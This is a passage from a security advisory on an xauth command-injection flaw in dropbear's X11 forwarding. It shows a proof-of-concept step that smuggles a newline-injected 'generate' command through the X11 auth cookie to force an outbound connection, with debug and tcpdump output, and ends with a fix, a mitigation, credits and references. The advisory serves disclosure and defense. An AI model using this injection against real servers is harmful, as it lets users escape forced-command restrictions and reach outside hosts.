6. `forced-commands` - initiate outbound X connection to 8.8.8.8:6100

	```c
	#> generate 8.8.8.8:100
	DEBUG:__main__:auth_cookie: '\ngenerate 8.8.8.8:100'
	DEBUG:__main__:dummy exec returned: None
	INFO:__main__:user1
	/usr/bin/xauth: (stdin):1:  bad "add" command line
	/usr/bin/xauth: (stdin):2:  unable to open display "8.8.8.8:100".
	
	#> tcpdump 
	IP <host> 8.8.8.8.6100: Flags [S], seq 81800807, win 29200, options [mss 1460,sackOK,TS val 473651893 ecr 0,nop,wscale 10], length 0
	```	

Fix
---

* Sanitize user-tainted input `chansess->x11authcookie`


Mitigation / Workaround
------------------------

* disable x11-forwarding: re-compile without x11 support: remove `options.h` -> `#define ENABLE_X11FWD`

Notes
-----

Thanks to the OpenSSH team for coordinating the fix!

Vendor response see: changelog [4]


References
----------

	[1] https://matt.ucc.asn.au/dropbear/dropbear.html
	[2] http://linux.die.net/man/1/xauth
	[3] https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115/
	[4] https://matt.ucc.asn.au/dropbear/CHANGES
	
Contact
-------

	https://github.com/tintinweb